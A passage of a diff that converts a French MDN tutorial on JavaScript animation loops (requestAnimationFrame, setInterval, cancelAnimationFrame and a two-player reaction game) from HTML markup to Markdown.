<em>saccades</em>.</p> +Comme la plupart des écrans ont une fréquence de rafraîchissement de 60 Hz, la fréquence d'images la plus rapide que vous pouvez viser est de 60 images par seconde (IPS) lorsque vous travaillez avec des navigateurs Web. Cependant, plus d'images signifie plus de traitement, ce qui peut souvent provoquer des saccades et des sauts - également connus sous le nom de _dégradation des images_, ou _saccades_. -<p>Si vous disposez d'un moniteur avec une fréquence de rafraîchissement de 60 Hz et que vous souhaitez obtenir 60 IPS, vous disposez d'environ 16,7 millisecondes (<code>1000 / 60</code>) pour exécuter votre code d'animation et rendre chaque image. Ceci est un rappel que vous devrez être attentif à la quantité de code que vous essayez d'exécuter pendant chaque passage dans la boucle d'animation.</p> +Si vous disposez d'un moniteur avec une fréquence de rafraîchissement de 60 Hz et que vous souhaitez obtenir 60 IPS, vous disposez d'environ 16,7 millisecondes (`1000 / 60`) pour exécuter votre code d'animation et rendre chaque image. Ceci est un rappel que vous devrez être attentif à la quantité de code que vous essayez d'exécuter pendant chaque passage dans la boucle d'animation. -<p><code>requestAnimationFrame()</code> essaie toujours de se rapprocher le plus possible de cette valeur magique de 60 IPS. Parfois, ce n'est pas possible - si vous avez une animation vraiment complexe et que vous l'exécutez sur un ordinateur lent, votre fréquence d'images sera inférieure. Dans tous les cas, <code>requestAnimationFrame()</code> fera toujours du mieux qu'il peut avec ce dont il dispose.</p> +`requestAnimationFrame()` essaie toujours de se rapprocher le plus possible de cette valeur magique de 60 IPS. Parfois, ce n'est pas possible - si vous avez une animation vraiment complexe et que vous l'exécutez sur un ordinateur lent, votre fréquence d'images sera inférieure. Dans tous les cas, `requestAnimationFrame()` fera toujours du mieux qu'il peut avec ce dont il dispose. -<h3 id="how_does_requestanimationframe_differ_from_setinterval_and_settimeout">En quoi requestAnimationFrame() diffère-t-il de setInterval() et setTimeout() ?</h3> +### En quoi requestAnimationFrame() diffère-t-il de setInterval() et setTimeout() ? -<p>Parlons un peu plus de la façon dont la méthode <code>requestAnimationFrame()</code> diffère des autres méthodes utilisées précédemment. En regardant notre code d'en haut :</p> +Parlons un peu plus de la façon dont la méthode `requestAnimationFrame()` diffère des autres méthodes utilisées précédemment. En regardant notre code d'en haut : -<pre class="brush: js">function draw() { +```js +function draw() { // Le code du dessin va ici requestAnimationFrame(draw); } -draw();</pre> +draw(); +``` -<p>Voyons maintenant comment faire la même chose en utilisant <code>setInterval()</code> :</p> +Voyons maintenant comment faire la même chose en utilisant `setInterval()` : -<pre class="brush: js">function draw() { +```js +function draw() { // Le code du dessin va ici } -setInterval(draw, 17);</pre> +setInterval(draw, 17); +``` -<p>Comme nous l'avons couvert précédemment, vous ne spécifiez pas d'intervalle de temps pour <code>requestAnimationFrame()</code>. Il l'exécute simplement aussi vite et aussi bien que possible dans les conditions actuelles. Le navigateur ne perd pas non plus de temps à l'exécuter si l'animation est hors écran pour une raison quelconque, etc.</p> +Comme nous l'avons couvert précédemment, vous ne spécifiez pas d'intervalle de temps pour `requestAnimationFrame()`. Il l'exécute simplement aussi vite et aussi bien que possible dans les conditions actuelles. Le navigateur ne perd pas non plus de temps à l'exécuter si l'animation est hors écran pour une raison quelconque, etc. -<p><code>setInterval()</code>, d'autre part <em>exige</em> qu'un intervalle soit spécifié. Nous sommes arrivés à notre valeur finale de 17 via la formule <em>1000 millisecondes / 60Hz</em>, puis nous l'avons arrondie. Arrondir vers le haut est une bonne idée ; si vous arrondissez vers le bas, le navigateur pourrait essayer d'exécuter l'animation à une vitesse supérieure à 60 FPS, et cela ne ferait de toute façon aucune différence pour la fluidité de l'animation. Comme nous l'avons déjà dit, 60 Hz est la fréquence de rafraîchissement standard.</p> +`setInterval()`, d'autre part _exige_ qu'un intervalle soit spécifié. Nous sommes arrivés à notre valeur finale de 17 via la formule _1000 millisecondes / 60Hz_, puis nous l'avons arrondie. Arrondir vers le haut est une bonne idée ; si vous arrondissez vers le bas, le navigateur pourrait essayer d'exécuter l'animation à une vitesse supérieure à 60 FPS, et cela ne ferait de toute façon aucune différence pour la fluidité de l'animation. Comme nous l'avons déjà dit, 60 Hz est la fréquence de rafraîchissement standard. -<h3 id="including_a_timestamp">Inclure un horodatage</h3> +### Inclure un horodatage -<p>Le rappel réel passé à la fonction <code>requestAnimationFrame()</code> peut également recevoir un paramètre : une valeur <em>timestamp</em>, qui représente le temps depuis que le <code>requestAnimationFrame()</code> a commencé à s'exécuter.</p> +Le rappel réel passé à la fonction `requestAnimationFrame()` peut également recevoir un paramètre : une valeur _timestamp_, qui représente le temps depuis que le `requestAnimationFrame()` a commencé à s'exécuter. -<p>C'est utile car cela vous permet d'exécuter des choses à des moments précis et à un rythme constant, quelle que soit la vitesse ou la lenteur de votre appareil. Le modèle général que vous utiliserez ressemble à quelque chose comme ceci :</p> +C'est utile car cela vous permet d'exécuter des choses à des moments précis et à un rythme constant, quelle que soit la vitesse ou la lenteur de votre appareil. Le modèle général que vous utiliserez ressemble à quelque chose comme ceci : -<pre class="brush: js">let startTime = null; +```js +let startTime = null; function draw(timestamp) { if (!startTime) { @@ -321,279 +332,316 @@ function draw(timestamp) { requestAnimationFrame(draw); } -draw();</pre> +draw(); +``` -<h3 id="browser_support">Prise en charge des navigateurs</h3> +### Prise en charge des navigateurs -<p><code>requestAnimationFrame()</code> est supporté par des navigateurs plus récents que pour <code>setInterval()</code>/<code>setTimeout()</code>. Il est intéressant de noter qu'elle est disponible dans Internet Explorer 10 et plus.</p> +`requestAnimationFrame()` est supporté par des navigateurs plus récents que pour `setInterval()`/`setTimeout()`. Il est intéressant de noter qu'elle est disponible dans Internet Explorer 10 et plus. -<p>Ainsi, à moins que vous ne deviez prendre en charge d'anciennes versions d'IE, il y a peu de raisons de ne pas utiliser <code>requestAnimationFrame()</code>.</p> +Ainsi, à moins que vous ne deviez prendre en charge d'anciennes versions d'IE, il y a peu de raisons de ne pas utiliser `requestAnimationFrame()`. -<h3 id="a_simple_example">Un exemple simple</h3> +### Un exemple simple -<p>Assez avec la théorie ! Construisons votre propre exemple personnel de <code>requestAnimationFrame()</code>. Vous allez créer une simple "animation de toupie" - le genre que vous pourriez voir affiché dans une application lorsqu'elle est occupée à se connecter au serveur, etc.</p> +Assez avec la théorie ! Construisons votre propre exemple personnel de `requestAnimationFrame()`. Vous allez créer une simple "animation de toupie" - le genre que vous pourriez voir affiché dans une application lorsqu'elle est occupée à se connecter au serveur, etc. -<div class="note"> - <p><strong>Note :</strong> Dans un exemple du monde réel, vous devriez probablement utiliser des animations CSS pour exécuter ce type d'animation simple. Cependant, ce genre d'exemple est très utile pour démontrer l'utilisation de <code>requestAnimationFrame()</code>, et vous seriez plus susceptible d'utiliser ce genre de technique lorsque vous faites quelque chose de plus complexe comme la mise à jour de l'affichage d'un jeu à chaque image.</p> -</div> +> **Note :** Dans un exemple du monde réel, vous devriez probablement utiliser des animations CSS pour exécuter ce type d'animation simple. Cependant, ce genre d'exemple est très utile pour démontrer l'utilisation de `requestAnimationFrame()`, et vous seriez plus susceptible d'utiliser ce genre de technique lorsque vous faites quelque chose de plus complexe comme la mise à jour de l'affichage d'un jeu à chaque image. -<ol> - <li><p>Prenez un modèle HTML de base (<a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">comme celui-ci</a>).</p></li> - <li><p>Placez un élément <a href="/fr/docs/Web/HTML/Element/div"><code><div></code></a> vide à l'intérieur de l'élément <a href="/fr/docs/Web/HTML/Element/body"><code><body></code></a>, puis ajoutez un caractère ↻ à l'intérieur. Ce caractère de flèche circulaire fera office de notre toupie pour cet exemple.</p></li> - <li><p>Appliquez le CSS suivant au modèle HTML (de la manière que vous préférez). Cela définit un fond rouge sur la page, définit la hauteur du <code><body></code> à <code>100%</code> de la hauteur de <a href="/fr/docs/Web/HTML/Element/html"><code><html></code></a>, et centre le <code><div></code> à l'intérieur du <code><body></code>, horizontalement et verticalement.</p> - <pre class="brush: css">html { - background-color: white; - height: 100%; -} +1. Prenez un modèle HTML de base ([comme celui-ci](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html)). +2. Placez un élément [`<div>`](/fr/docs/Web/HTML/Element/div) vide à l'intérieur de l'élément [`<body>`](/fr/docs/Web/HTML/Element/body), puis ajoutez un caractère ↻ à l'intérieur. Ce caractère de flèche circulaire fera office de notre toupie pour cet exemple. +3. Appliquez le CSS suivant au modèle HTML (de la manière que vous préférez). Cela définit un fond rouge sur la page, définit la hauteur du `<body>` à `100%` de la hauteur de [`<html>`](/fr/docs/Web/HTML/Element/html), et centre le `<div>` à l'intérieur du `<body>`, horizontalement et verticalement. -body { - height: inherit; - background-color: red; - margin: 0; - display: flex; - justify-content: center; - align-items: center; -} + ```css + html { + background-color: white; + height: 100%; + } -div { - display: inline-block; - font-size: 10rem; -}</pre> - </li> - <li><p>Insérez un élément <a href="/fr/docs/Web/HTML/Element/script"><code><script></code></a> juste au-dessus de la balise de fermeture <code></body></code>.</p></li> - <li><p>Insérez le JavaScript suivant dans votre élément <code><script></code>. Ici, vous stockez une référence à l'élément <code><div> ; </code> à l'intérieur d'une constante, définissez une variable <code>rotateCount</code> à <code>0</code>, définissez une variable non initialisée qui sera utilisée plus tard pour contenir une référence à l'appel <code>requestAnimationFrame()</code>, et en définissant une variable <code>startTime</code> à <code>null</code>, qui sera plus tard utilisée pour stocker l'heure de début de l'appel <code>requestAnimationFrame()</code>.</p> - <pre class="brush: js">const spinner = document.querySelector('div'); -let rotateCount = 0; -let startTime = null; -let rAF; -</pre> - </li> - <li> - <p>Sous le code précédent, insérez une fonction <code>draw()</code> qui sera utilisée pour contenir notre code d'animation, qui inclut le paramètre <code>timestamp</code> :</p> - <pre class="brush: js">function draw(timestamp) { - -}</pre> - </li> - <li><p>À l'intérieur de <code>draw()</code>, ajoutez les lignes suivantes. Elles définiront l'heure de départ si elle n'est pas déjà définie (cela ne se produira que lors de la première itération de la boucle), et définiront le <code>rotateCount</code> à une valeur pour faire tourner le spinner par (l'horodatage actuel, prendre l'horodatage de départ, divisé par trois pour que cela n'aille pas trop vite) :</p> - <pre class="brush: js"> if(!startTime) { - startTime = timestamp; - } + body { + height: inherit; + background-color: red; + margin: 0; + display: flex; + justify-content: center; + align-items: center; + } + + div { + display: inline-block; + font-size: 10rem; + } + ``` + +4. Insérez un élément [`<script>`](/fr/docs/Web/HTML/Element/script) juste au-dessus de la balise de fermeture `</body>`. +5. Insérez le JavaScript suivant dans votre élément `<script>`. Ici, vous stockez une référence à l'élément `<div> ; `à l'intérieur d'une constante, définissez une variable `rotateCount` à `0`, définissez une variable non initialisée qui sera utilisée plus tard pour contenir une référence à l'appel `requestAnimationFrame()`, et en définissant une variable `startTime` à `null`, qui sera plus tard utilisée pour stocker l'heure de début de l'appel `requestAnimationFrame()`. + + ```js + const spinner = document.querySelector('div'); + let rotateCount = 0; + let startTime = null; + let rAF; + ``` - rotateCount = (timestamp - startTime) / 3; -</pre> - </li> - <li><p>Sous la ligne précédente à l'intérieur de <code>draw()</code>, ajoutez le bloc suivant - il s'assure que la valeur de <code>rotateCount</code> est comprise entre <code>0</code> et <code>360</code> en utilisant le modulo à 360 (c'est-à-dire le reste restant lorsque la valeur est divisée par <code>360</code>) afin que l'animation du cercle puisse continuer sans interruption, à une valeur basse et raisonnable. Notez que ce n'est pas strictement nécessaire, mais il est plus facile de travailler avec des valeurs de 0-359 degrés que des valeurs comme <code>"128000 degrés"</code>.</p> - <pre class="brush: js">rotateCount %= 360;</pre> - </li> - <li>Ensuite, sous le bloc précédent, ajoutez la ligne suivante pour faire tourner le spinner : - <pre class="brush: js">spinner.style.transform = `rotate(${rotateCount}deg)`;</pre> - </li> - <li><p>Tout en bas, à l'intérieur de la fonction <code>draw()</code>, insérez la ligne suivante. C'est la clé de toute l'opération - vous définissez la variable définie précédemment à un appel actif <code>requestAnimation()</code>, qui prend la fonction <code>draw()</code> comme paramètre. Cela fait démarrer l'animation, en exécutant constamment la fonction <code>draw()</code> à un taux aussi proche que possible de 60 IPS.</p> - <pre class="brush: js">rAF = requestAnimationFrame(draw);</pre> - </li> - <li><p>Sous la définition de la fonction <code>draw()</code>, ajoutez un appel à la fonction <code>draw()</code> pour lancer l'animation.</p> - <pre class="brush: js">draw();</pre> - </li> -</ol> +6. Sous le code précédent, insérez une fonction `draw()` qui sera utilisée pour contenir notre code d'animation, qui inclut le paramètre `timestamp` : -<div class="note"> - <p><strong>Note :</strong> Vous pouvez trouver l'<a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/simple-raf-spinner.html">exemple terminé en direct sur GitHub</a>. (Vous pouvez également voir le <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/simple-raf-spinner.html">code source</a>).</p> -</div> + ```js + function draw(timestamp) { -<h3 id="clearing_a_requestanimationframe_call">Effacer un appel de requestAnimationFrame()</h3> + } + ``` + +7. À l'intérieur de `draw()`, ajoutez les lignes suivantes. Elles définiront l'heure de départ si elle n'est pas déjà définie (cela ne se produira que lors de la première itération de la boucle), et définiront le `rotateCount` à une valeur pour faire tourner le spinner par (l'horodatage actuel, prendre l'horodatage de départ, divisé par trois pour que cela n'aille pas trop vite) : + + ```js + if(!startTime) { + startTime = timestamp; + } + + rotateCount = (timestamp - startTime) / 3; + ``` + +8. Sous la ligne précédente à l'intérieur de `draw()`, ajoutez le bloc suivant - il s'assure que la valeur de `rotateCount` est comprise entre `0` et `360` en utilisant le modulo à 360 (c'est-à-dire le reste restant lorsque la valeur est divisée par `360`) afin que l'animation du cercle puisse continuer sans interruption, à une valeur basse et raisonnable. Notez que ce n'est pas strictement nécessaire, mais il est plus facile de travailler avec des valeurs de 0-359 degrés que des valeurs comme `"128000 degrés"`. + + ```js + rotateCount %= 360; + ``` + +9. Ensuite, sous le bloc précédent, ajoutez la ligne suivante pour faire tourner le spinner : + + ```js + spinner.style.transform = `rotate(${rotateCount}deg)`; + ``` -<p>Effacer un appel de <code>requestAnimationFrame()</code> peut être fait en appelant la méthode <code>cancelAnimationFrame()</code> correspondante. (Notez que le nom de la fonction commence par "cancel", et non par "clear" comme pour les méthodes "set...").</p> +10. Tout en bas, à l'intérieur de la fonction `draw()`, insérez la ligne suivante. C'est la clé de toute l'opération - vous définissez la variable définie précédemment à un appel actif `requestAnimation()`, qui prend la fonction `draw()` comme paramètre. Cela fait démarrer l'animation, en exécutant constamment la fonction `draw()` à un taux aussi proche que possible de 60 IPS. -<p>Il suffit de lui passer la valeur renvoyée par l'appel <code>requestAnimationFrame()</code> à annuler, que vous avez stockée dans la variable <code>rAF</code> :</p> + ```js + rAF = requestAnimationFrame(draw); + ``` -<pre class="brush: js">cancelAnimationFrame(rAF);</pre> +11. Sous la définition de la fonction `draw()`, ajoutez un appel à la fonction `draw()` pour lancer l'animation. -<h3 id="active_learning_starting_and_stopping_our_spinner">Apprentissage actif : Démarrer et arrêter la toupie</h3> + ```js + draw(); + ``` -<p>Dans cet exercice, nous aimerions que vous testiez la méthode <code>cancelAnimationFrame()</code> en prenant notre exemple précédent et en le mettant à jour, en ajoutant un écouteur d'événements pour démarrer et arrêter le spinner lorsque la souris est cliquée n'importe où sur la page.</p> +> **Note :** Vous pouvez trouver l'[exemple terminé en direct sur GitHub](https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/simple-raf-spinner.html). (Vous pouvez également voir le [code source](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/simple-raf-spinner.html)). -<p>Quelques conseils :</p> +### Effacer un appel de requestAnimationFrame() -<ul> - <li>Un écouteur d'événements <code>click</code> peut être ajouté à la plupart des éléments, y compris le document <code><body></code>. Il est plus logique de le placer sur l'élément <code><body></code> si vous voulez maximiser la zone cliquable - l'événement remonte jusqu'à ses éléments enfants.</li> - <li>Vous voudrez ajouter une variable de suivi pour vérifier si la toupie tourne ou non, effacer le cadre d'animation si c'est le cas, et le rappeler si ce n'est pas le cas.</li> -</ul> +Effacer un appel de `requestAnimationFrame()` peut être fait en appelant la méthode `cancelAnimationFrame()` correspondante. (Notez que le nom de la fonction commence par "cancel", et non par "clear" comme pour les méthodes "set..."). -<div class="note"> - <p><strong>Note :</strong> Essayez d'abord vous-même ; si vous êtes vraiment bloqué, consultez nos pages <a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/start-and-stop-spinner.html">exemple en direct</a> et <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/start-and-stop-spinner.html">code source</a>.</p> -</div> +Il suffit de lui passer la valeur renvoyée par l'appel `requestAnimationFrame()` à annuler, que vous avez stockée dans la variable `rAF` : -<h3 id="throttling_a_requestanimationframe_animation">Ralentissement d'une animation requestAnimationFrame()</h3> +```js +cancelAnimationFrame(rAF); +``` -<p>Une limitation de <code>requestAnimationFrame()</code> est que vous ne pouvez pas choisir votre fréquence d'images. Ce n'est pas un problème la plupart du temps, car en général, vous voulez que votre animation se déroule de la manière la plus fluide possible. Mais qu'en est-il lorsque vous souhaitez créer une animation old school, de style 8 bits ?</p> +### Apprentissage actif : Démarrer et arrêter la toupie -<p>C'était un problème, par exemple, dans l'animation de marche inspirée de Monkey Island de notre article <a href="/fr/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Dessiner des éléments graphiques</a> :</p> +Dans cet exercice, nous aimerions que vous testiez la méthode `cancelAnimationFrame()` en prenant notre exemple précédent et en le mettant à jour, en ajoutant un écouteur d'événements pour démarrer et arrêter le spinner lorsque la souris est cliquée n'importe où sur la page. -<p>{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/loops_animation/7_canvas_walking_animation.html", '100%', 260)}}</p> +Quelques conseils : -<p>Dans cet exemple, vous devez animer à la fois la position du personnage à l'écran et le sprite affiché. Il n'y a que 6 images dans l'animation du sprite. Si vous montriez une image différente du sprite pour chaque image affichée à l'écran par <code>requestAnimationFrame()</code>, Guybrush bougerait ses membres trop vite et l'animation aurait l'air ridicule. Cet exemple étrangle la vitesse à laquelle le sprite cycle ses images en utilisant le code suivant :</p> +- Un écouteur d'événements `click` peut être ajouté à la plupart des éléments, y compris le document `<body>`. Il est plus logique de le placer sur l'élément `<body>` si vous voulez maximiser la zone cliquable - l'événement remonte jusqu'à ses éléments enfants. +- Vous voudrez ajouter une variable de suivi pour vérifier si la toupie tourne ou non, effacer le cadre d'animation si c'est le cas, et le rappeler si ce n'est pas le cas. -<pre class="brush: js">if (posX % 13 === 0) { +> **Note :** Essayez d'abord vous-même ; si vous êtes vraiment bloqué, consultez nos pages [exemple en direct](https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/start-and-stop-spinner.html) et [code source](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/start-and-stop-spinner.html). + +### Ralentissement d'une animation requestAnimationFrame() + +Une limitation de `requestAnimationFrame()` est que vous ne pouvez pas choisir votre fréquence d'images. Ce n'est pas un problème la plupart du temps, car en général, vous voulez que votre animation se déroule de la manière la plus fluide possible. Mais qu'en est-il lorsque vous souhaitez créer une animation old school, de style 8 bits ? + +C'était un problème, par exemple, dans l'animation de marche inspirée de Monkey Island de notre article [Dessiner des éléments graphiques](/fr/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics) : + +{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/loops_animation/7_canvas_walking_animation.html", '100%', 260)}} + +Dans cet exemple, vous devez animer à la fois la position du personnage à l'écran et le sprite affiché. Il n'y a que 6 images dans l'animation du sprite. Si vous montriez une image différente du sprite pour chaque image affichée à l'écran par `requestAnimationFrame()`, Guybrush bougerait ses membres trop vite et l'animation aurait l'air ridicule. Cet exemple étrangle la vitesse à laquelle le sprite cycle ses images en utilisant le code suivant : + +```js +if (posX % 13 === 0) { if (sprite === 5) { sprite = 0; } else { sprite++; } -}</pre> +} +``` -<p>Ainsi, le code ne cycle le sprite qu'une fois toutes les 13 images d'animation.</p> +Ainsi, le code ne cycle le sprite qu'une fois toutes les 13 images d'animation. -<p>...En fait, c'est environ toutes les 6,5 images, car nous mettons à jour <code>posX</code> (position du personnage sur l'écran) par deux à chaque image :</p> +...En fait, c'est environ toutes les 6,5 images, car nous mettons à jour `posX` (position du personnage sur l'écran) par deux à chaque image : -<pre class="brush: js">if (posX > width/2) { +```js +if (posX > width/2) { newStartPos = -( (width/2) + 102 ); posX = Math.ceil(newStartPos / 13) * 13; console.log(posX); } else { posX += 2; -}</pre> +} +``` -<p>C'est le code qui calcule comment mettre à jour la position dans chaque image d'animation.</p> +C'est le code qui calcule comment mettre à jour la position dans chaque image d'animation. -<p>La méthode que vous utilisez pour accélérer votre animation dépendra de votre code particulier. Par exemple, dans l'exemple précédent de la toupie, vous pourriez faire en sorte qu'elle semble se déplacer plus lentement en n'augmentant le <code>rotateCount</code> que de un à chaque image, au lieu de deux.</p> +La méthode que vous utilisez pour accélérer votre animation dépendra de votre code particulier. Par exemple, dans l'exemple précédent de la toupie, vous pourriez faire en sorte qu'elle semble se déplacer plus lentement en n'augmentant le `rotateCount` que de un à chaque image, au lieu de deux. -<h2 id="active_learning_a_reaction_game">Apprentissage actif : un jeu de réaction</h2> +## Apprentissage actif : un jeu de réaction -<p>Pour la dernière section de cet article, vous allez créer un jeu de réaction à 2 joueurs. Le jeu aura deux joueurs, dont l'un contrôlera le jeu à l'aide de la touche <kbd>A</kbd>, et l'autre avec la touche <kbd>L</kbd>.</p> +Pour la dernière section de cet article, vous allez créer un jeu de réaction à 2 joueurs. Le jeu aura deux joueurs, dont l'un contrôlera le jeu à l'aide de la touche <kbd>A</kbd>, et l'autre avec la touche <kbd>L</kbd>. -<p>Lorsque l'on appuie sur le bouton <em>Start</em>, une toupie comme celle que nous avons vue précédemment s'affiche pendant un temps aléatoire compris entre 5 et 10 secondes. Après ce temps, un message apparaîtra disant <code>"PLAYERS GO !!"</code> - une fois que cela se produit, le premier joueur à appuyer sur son bouton de contrôle gagnera la partie.</p> +Lorsque l'on appuie sur le bouton _Start_, une toupie comme celle que nous avons vue précédemment s'affiche pendant un temps aléatoire compris entre 5 et 10 secondes. Après ce temps, un message apparaîtra disant `"PLAYERS GO !!"` - une fois que cela se produit, le premier joueur à appuyer sur son bouton de contrôle gagnera la partie. -<p>{{EmbedGHLiveSample("learning-area/javascript/asynchronous/loops-and-intervals/reaction-game.html", '100%', 500)}}</p> +{{EmbedGHLiveSample("learning-area/javascript/asynchronous/loops-and-intervals/reaction-game.html", '100%', 500)}} -<p>Travaillons ensemble :</p> +Travaillons ensemble : -<ol> - <li><p>Tout d'abord, téléchargez le <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/reaction-game-starter.html">fichier de démarrage de l'application</a>. Celui-ci contient la structure HTML et le style CSS finis, ce qui nous donne un plateau de jeu qui affiche les informations des deux joueurs (comme vu ci-dessus), mais avec le spinner et le paragraphe des résultats affichés l'un au-dessus de l'autre. Il ne vous reste plus qu'à écrire le code JavaScript.</p></li> - <li><p>À l'intérieur de l'élément vide <a href="/fr/docs/Web/HTML/Element/script"><code><script></code></a> de votre page, commencez par ajouter les lignes de code suivantes qui définissent certaines constantes et variables dont vous aurez besoin dans le reste du code :</p> - <pre class="brush: js">const spinner = document.querySelector('.spinner p'); -const spinnerContainer = document.querySelector('.spinner'); -let rotateCount = 0; -let startTime = null; -let rAF; -const btn = document.querySelector('button'); -const result = document.querySelector('.result');</pre> - <p>Dans l'ordre, ce sont :</p> - <ol> - <li>Une référence à la toupie, afin que vous puissiez l'animer.</li> - <li>Une référence à l'élément <a href="/fr/docs/Web/HTML/Element/div"><code><div></code></a> qui contient la toupie, utilisée pour l'afficher et la masquer.</li> - <li>Un nombre de rotations. Ce paramètre détermine le nombre de rotations de la toupie que vous souhaitez afficher à chaque image de l'animation.</li> - <li>Un temps de démarrage nul. Il sera rempli avec une heure de début lorsque la toupie commencera à tourner.</li> - <li>Une variable non initialisée pour stocker ultérieurement l'appel <a href="/fr/docs/Web/API/Window/requestAnimationFrame"><code>requestAnimationFrame()</code></a> qui anime la toupie.</li> - <li>Une référence au bouton de démarrage.</li> - <li>Une référence au paragraphe des résultats.</li> - </ol> - </li> - <li><p>Ensuite, sous les lignes de code précédentes, ajoutez la fonction suivante. Elle prend deux nombres et retourne un nombre aléatoire entre les deux. Vous en aurez besoin pour générer un intervalle de temps aléatoire plus tard.</p> - <pre class="brush: js">function random(min,max) { - var num = Math.floor(Math.random()*(max-min)) + min; - return num; -}</pre> - </li> - <li><p>Ajoutez ensuite la fonction <code>draw()</code>, qui anime la toupie. Cette version est très similaire à celle de l'exemple simple de la toupie, plus haut :</p> - <pre class="brush: js">function draw(timestamp) { - if(!startTime) { - startTime = timestamp; - } +1. Tout d'abord, téléchargez le [fichier de démarrage de l'application](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/reaction-game-starter.html). Celui-ci contient la structure HTML et le style CSS finis, ce qui nous donne un plateau de jeu qui affiche les informations des deux joueurs (comme vu ci-dessus), mais avec le spinner et le paragraphe des résultats affichés l'un au-dessus de l'autre. Il ne vous reste plus qu'à écrire le code JavaScript. +2. À l'intérieur de l'élément vide [`<script>`](/fr/docs/Web/HTML/Element/script) de votre page, commencez par ajouter les lignes de code suivantes qui définissent certaines constantes et variables dont vous aurez besoin dans le reste du code : + + ```js + const spinner = document.querySelector('.spinner p'); + const spinnerContainer = document.querySelector('.spinner'); + let rotateCount = 0; + let startTime = null; + let rAF; + const btn = document.querySelector('button'); + const result = document.querySelector('.result'); + ``` + + Dans l'ordre, ce sont : + + 1. Une référence à la toupie, afin que vous puissiez l'animer. + 2. Une référence à l'élément [`<div>`](/fr/docs/Web/HTML/Element/div) qui contient la toupie, utilisée pour l'afficher et la masquer. + 3. Un nombre de rotations. Ce paramètre détermine le nombre de rotations de la toupie que vous souhaitez afficher à chaque image de l'animation. + 4. Un temps de démarrage nul. Il sera rempli avec une heure de début lorsque la toupie commencera à tourner. + 5. Une variable non initialisée pour stocker ultérieurement l'appel [`requestAnimationFrame()`](/fr/docs/Web/API/Window/requestAnimationFrame) qui anime la toupie. + 6. Une référence au bouton de démarrage. + 7. Une référence au paragraphe des résultats. + +3. Ensuite, sous les lignes de code précédentes, ajoutez la fonction suivante. Elle prend deux nombres et retourne un nombre aléatoire entre les deux. Vous en aurez besoin pour générer un intervalle de temps aléatoire plus tard. + + ```js + function random(min,max) { + var num = Math.floor(Math.random()*(max-min)) + min; + return num; + } + ``` + +4. Ajoutez ensuite la fonction `draw()`, qui anime la toupie. Cette version est très similaire à celle de l'exemple simple de la toupie, plus haut : + + ```js + function draw(timestamp) { + if(!startTime) { + startTime = timestamp; + } + + rotateCount = (timestamp - startTime) / 3; + + rotateCount %= 360; + + spinner.style.transform = 'rotate(' + rotateCount + 'deg)'; + rAF = requestAnimationFrame(draw); + } + ``` + +5. Il est maintenant temps de mettre en place l'état initial de l'application lors du premier chargement de la page. Ajoutez les deux lignes suivantes, qui masquent le paragraphe des résultats et le conteneur de la toupie en utilisant `display : none;`. + + ```js + result.style.display = 'none'; + spinnerContainer.style.display = 'none'; + ``` - rotateCount = (timestamp - startTime) / 3; - - rotateCount %= 360; - - spinner.style.transform = 'rotate(' + rotateCount + 'deg)'; - rAF = requestAnimationFrame(draw); -}</pre> - </li> - <li><p>Il est maintenant temps de mettre en place l'état initial de l'application lors du premier chargement de la page. Ajoutez les deux lignes suivantes, qui masquent le paragraphe des résultats et le conteneur de la toupie en utilisant <code>display : none;</code>.</p> - <pre class="brush: js">result.style.display = 'none'; -spinnerContainer.style.display = 'none';</pre> - </li> - <li><p>Ensuite, définissez une fonction <code>reset()</code>, qui remet l'application dans l'état initial nécessaire pour relancer le jeu après qu'il a été joué. Ajoutez ce qui suit au bas de votre code :</p> - <pre class="brush: js">function reset() { - btn.style.display = 'block'; - result.textContent = ''; - result.style.display = 'none'; -}</pre> - </li> - <li><p>Bon, assez de préparation ! Il est temps de rendre le jeu jouable ! Ajoutez le bloc suivant à votre code. La fonction <code>start()</code> appelle <code>draw()</code> pour commencer à faire tourner la toupie et l'afficher dans l'interface utilisateur, cache le bouton <em>Start</em> pour que vous ne puissiez pas perturber le jeu en le démarrant plusieurs fois simultanément, et exécute un appel <code>setTimeout()</code> qui exécute une fonction <code>setEndgame()</code> après qu'un intervalle aléatoire entre 5 et 10 secondes se soit écoulé. Le bloc suivant ajoute également un écouteur d'événements à votre bouton pour exécuter la fonction <code>start()</code> lorsqu'il est cliqué.</p> - <pre class="brush: js">btn.addEventListener('click', start); - -function start() { - draw(); - spinnerContainer.style.display = 'block'; - btn.style.display = 'none'; - setTimeout(setEndgame, random(5000,10000)); -}</pre> - <div class="note"> - <p><strong>Note :</strong> Vous verrez que cet exemple appelle <code>setTimeout()</code> sans stocker la valeur de retour. (Donc, pas <code>let myTimeout = setTimeout(functionName, interval)</code>.)</p> - <p>Cela fonctionne très bien, tant que vous n'avez pas besoin d'effacer votre intervalle/temps d'attente à un moment donné. Si vous le faites, vous devrez sauvegarder l'identifiant renvoyé !</p> - </div> - <p>Le résultat net du code précédent est que lorsque le bouton <em>Start</em> est pressé, la toupie est affichée et les joueurs sont amenés à attendre un temps aléatoire avant d'être invités à appuyer sur leur bouton. Cette dernière partie est gérée par la fonction <code>setEndgame()</code>, que vous allez définir ensuite.</p> - </li> - <li><p>Ajoutez ensuite la fonction suivante à votre code :</p> - <pre class="brush: js">function setEndgame() { - cancelAnimationFrame(rAF); - spinnerContainer.style.display = 'none'; - result.style.display = 'block'; - result.textContent = 'JOUEURS : ALLEZ-Y !!'; - - document.addEventListener('keydown', keyHandler); - - function keyHandler(e) { - let isOver = false; - console.log(e.key); - - if (e.key === "a") { - result.textContent = 'Le joueur 1 a 